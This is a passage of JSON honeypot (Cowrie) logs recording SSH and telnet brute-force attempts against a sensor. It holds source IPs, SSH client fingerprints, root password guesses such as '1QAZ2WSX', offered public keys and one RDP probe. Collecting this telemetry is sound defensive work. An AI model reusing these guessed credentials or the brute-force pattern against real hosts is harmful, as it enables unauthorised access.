16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:54.449171Z","src_ip":"51.250.105.222","session":"3109913ca381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147369","message":"login attempt [root/147369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:54.829608Z","src_ip":"51.250.105.222","session":"3109913ca381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:31:55.964049Z","src_ip":"51.250.105.222","session":"3109913ca381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":52418,"dst_ip":"159.203.135.109","dst_port":22,"session":"076ce1a342f6","protocol":"ssh","message":"New connection: 103.173.227.57:52418 (159.203.135.109:22) [session: 076ce1a342f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:02.132174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:02.137388Z","src_ip":"103.173.227.57","session":"076ce1a342f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:02.378427Z","src_ip":"103.173.227.57","session":"076ce1a342f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timur","message":"login attempt [root/timur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:03.098927Z","src_ip":"103.173.227.57","session":"076ce1a342f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:04.342134Z","src_ip":"103.173.227.57","session":"076ce1a342f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59954,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec654f8fa19","protocol":"telnet","message":"New connection: 152.42.224.71:59954 (10.17.0.5:23) [session: 9ec654f8fa19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:17.644260Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59960,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c25d79d859","protocol":"telnet","message":"New connection: 152.42.224.71:59960 (10.17.0.5:23) [session: 22c25d79d859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:20.012022Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"e851932e5a5e","protocol":"telnet","message":"New connection: 152.42.224.71:59966 (10.17.0.5:23) [session: e851932e5a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:20.538414Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":60340,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcaef9a6546d","protocol":"ssh","message":"New connection: 103.98.149.87:60340 (159.203.135.109:22) [session: dcaef9a6546d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:32.709621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:32.718158Z","src_ip":"103.98.149.87","session":"dcaef9a6546d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:32.947517Z","src_ip":"103.98.149.87","session":"dcaef9a6546d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234562","message":"login attempt [root/1234562] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:33.656238Z","src_ip":"103.98.149.87","session":"dcaef9a6546d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":55074,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44cf8cd4c6d","protocol":"ssh","message":"New connection: 194.147.93.208:55074 (10.17.0.5:22) [session: d44cf8cd4c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:34.407215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:34.413360Z","src_ip":"194.147.93.208","session":"d44cf8cd4c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:34.504343Z","src_ip":"194.147.93.208","session":"d44cf8cd4c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:34.887351Z","src_ip":"103.98.149.87","session":"dcaef9a6546d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX","message":"login attempt [root/1QAZ2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:34.899826Z","src_ip":"194.147.93.208","session":"d44cf8cd4c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:35.993818Z","src_ip":"194.147.93.208","session":"d44cf8cd4c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54054,"dst_ip":"10.17.0.5","dst_port":22,"session":"69166a4dd98b","protocol":"ssh","message":"New connection: 167.172.81.52:54054 (10.17.0.5:22) [session: 69166a4dd98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:39.862034Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:39.908392Z","src_ip":"167.172.81.52","session":"69166a4dd98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:39.912975Z","src_ip":"167.172.81.52","session":"69166a4dd98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":34384,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e640c0d41c3","protocol":"ssh","message":"New connection: 193.37.70.224:34384 (159.203.135.109:22) [session: 7e640c0d41c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:40.297070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:40.302648Z","src_ip":"193.37.70.224","session":"7e640c0d41c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:40.402156Z","src_ip":"193.37.70.224","session":"7e640c0d41c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666","message":"login attempt [root/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:40.696610Z","src_ip":"193.37.70.224","session":"7e640c0d41c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:41.798212Z","src_ip":"193.37.70.224","session":"7e640c0d41c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":42588,"dst_ip":"10.17.0.5","dst_port":22,"session":"8892faba6a7a","protocol":"ssh","message":"New connection: 148.113.160.5:42588 (10.17.0.5:22) [session: 8892faba6a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.448232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.452544Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.470271Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:0e:c8:44:38:a7:2a:cf:1b:c2:97:3a:bb:ac:ac:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTT9AQjPijx8/e/470H11DsSX7KB0tnEBDusAXq3hVvG7ehYGImZdhKCJ/dVDu+aabf5S9W9PEgqto24I+HywlnwK7VcEv6cpEZof7AXbBH5A2YhqFQu24jgaU8A0A7Ga+22U7/blXIykxjMF7lCbPfwLSSjeEMSQz2u+un4heh2YxmeKTaS2VFaejNaDtmZhixhSfaFREd3vnLh3ij2JqGDUO5ohYo1UsOPhJjjbC7bcoC6jl6TcyE1s97fL3PYJnMJL4csHBalbbBZBRzFzLUbMAVYsglKx2mpmVCzNhRMKBBWJqtIkB3GGRdB0vmmG7yJYW3c3F5JWBsbggoO43","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:0e:c8:44:38:a7:2a:cf:1b:c2:97:3a:bb:ac:ac:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.539975Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:0e:c8:44:38:a7:2a:cf:1b:c2:97:3a:bb:ac:ac:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTT9AQjPijx8/e/470H11DsSX7KB0tnEBDusAXq3hVvG7ehYGImZdhKCJ/dVDu+aabf5S9W9PEgqto24I+HywlnwK7VcEv6cpEZof7AXbBH5A2YhqFQu24jgaU8A0A7Ga+22U7/blXIykxjMF7lCbPfwLSSjeEMSQz2u+un4heh2YxmeKTaS2VFaejNaDtmZhixhSfaFREd3vnLh3ij2JqGDUO5ohYo1UsOPhJjjbC7bcoC6jl6TcyE1s97fL3PYJnMJL4csHBalbbBZBRzFzLUbMAVYsglKx2mpmVCzNhRMKBBWJqtIkB3GGRdB0vmmG7yJYW3c3F5JWBsbggoO43","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.543681Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:cf:a0:9f:6a:3d:a8:45:59:2f:8c:cf:23:83:c1:af","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICDOaIpXSR3ZF12uRyfAQq7xdsgLc2IUkYi1DB4XeLnI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f0:cf:a0:9f:6a:3d:a8:45:59:2f:8c:cf:23:83:c1:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.563009Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:cf:a0:9f:6a:3d:a8:45:59:2f:8c:cf:23:83:c1:af","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICDOaIpXSR3ZF12uRyfAQq7xdsgLc2IUkYi1DB4XeLnI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.566396Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:ff:c8:e8:3d:c9:00:97:e8:73:a5:7d:37:f9:de:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6etHsQl7yeX/Y/jvUwP7udDW28j0fN+IC/v4U0z9/WAxuErnHnzr+fAPnU59/Q/g5vUJ2RW4jl0N4JzCBB5T2p9Yy+6H3SPiQUYNoUV/pnBw2AaSJXxHkJu7BkDguetaMNwaKxw2g5FM8GrdsoCd4iOT7wlqYqHD6BPlUN5zLjBCB1s0IJrJzxWzFFc1WdLCU3b5u7LJDOzkz6z7lx6OGv9nJXO4Ot+x4fZUqpzpTzI3/JCgs7Nr3Y4Al7Qi9R8QDc3bVEvSM37ZUKAuoY8WMO1509eJfLOGm5inCfQ26AD5HjpW3US0C2DLqo/P+3+tcwkSuXx8FyjYD1Tc0ei5UcCcXuGhytJrS3+maETI1pyd1vI7hjrMaMwdyrodqtvygI2eBydjIlsp+nB1Vr86vc5MQUXepU3/cYaTVFGOqiRi8W7xcuXqkVX3hEqKouXvqLXiHElp/htDZdgedEx5xmLnlsx9he5niMuHEkqyUSjgXEecuN9q0N33ipodcpZU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:ff:c8:e8:3d:c9:00:97:e8:73:a5:7d:37:f9:de:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.585195Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:ff:c8:e8:3d:c9:00:97:e8:73:a5:7d:37:f9:de:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6etHsQl7yeX/Y/jvUwP7udDW28j0fN+IC/v4U0z9/WAxuErnHnzr+fAPnU59/Q/g5vUJ2RW4jl0N4JzCBB5T2p9Yy+6H3SPiQUYNoUV/pnBw2AaSJXxHkJu7BkDguetaMNwaKxw2g5FM8GrdsoCd4iOT7wlqYqHD6BPlUN5zLjBCB1s0IJrJzxWzFFc1WdLCU3b5u7LJDOzkz6z7lx6OGv9nJXO4Ot+x4fZUqpzpTzI3/JCgs7Nr3Y4Al7Qi9R8QDc3bVEvSM37ZUKAuoY8WMO1509eJfLOGm5inCfQ26AD5HjpW3US0C2DLqo/P+3+tcwkSuXx8FyjYD1Tc0ei5UcCcXuGhytJrS3+maETI1pyd1vI7hjrMaMwdyrodqtvygI2eBydjIlsp+nB1Vr86vc5MQUXepU3/cYaTVFGOqiRi8W7xcuXqkVX3hEqKouXvqLXiHElp/htDZdgedEx5xmLnlsx9he5niMuHEkqyUSjgXEecuN9q0N33ipodcpZU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.588891Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:99:b2:10:24:eb:66:db:36:9a:8f:ff:db:90:c9:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9Ck9wE0jd72fxw80WfbfYYzAfihMSEP1+LggMo2Z1PL/qFm5JbssXiFcR1BvY57y4RUyH4bFQjmu9qXO/ra8xGPcI6by3U49BRUnOYDpX0xy5O43PfvFCQeAEmYLRjzKDQzrcRD7baFguwe0ETlFpyvmqTsJZhIIV6RN/yjgXdNG3crQ+231iHkLSxGVLUkeJMrSvdCktqgYsWlwPnYp188sDfyj4aGtOa23DabU9GDXsN2D8EIFKk6Ve6zitXpNwvovqWLpxUS0zdyX6fL/cEDfctJGJJX2Xiakma4Xx5JT20SuwI7R9ElzZ0wD/nmuOCZrMfdB9K0AiwKzzAF/uQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:99:b2:10:24:eb:66:db:36:9a:8f:ff:db:90:c9:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.609416Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
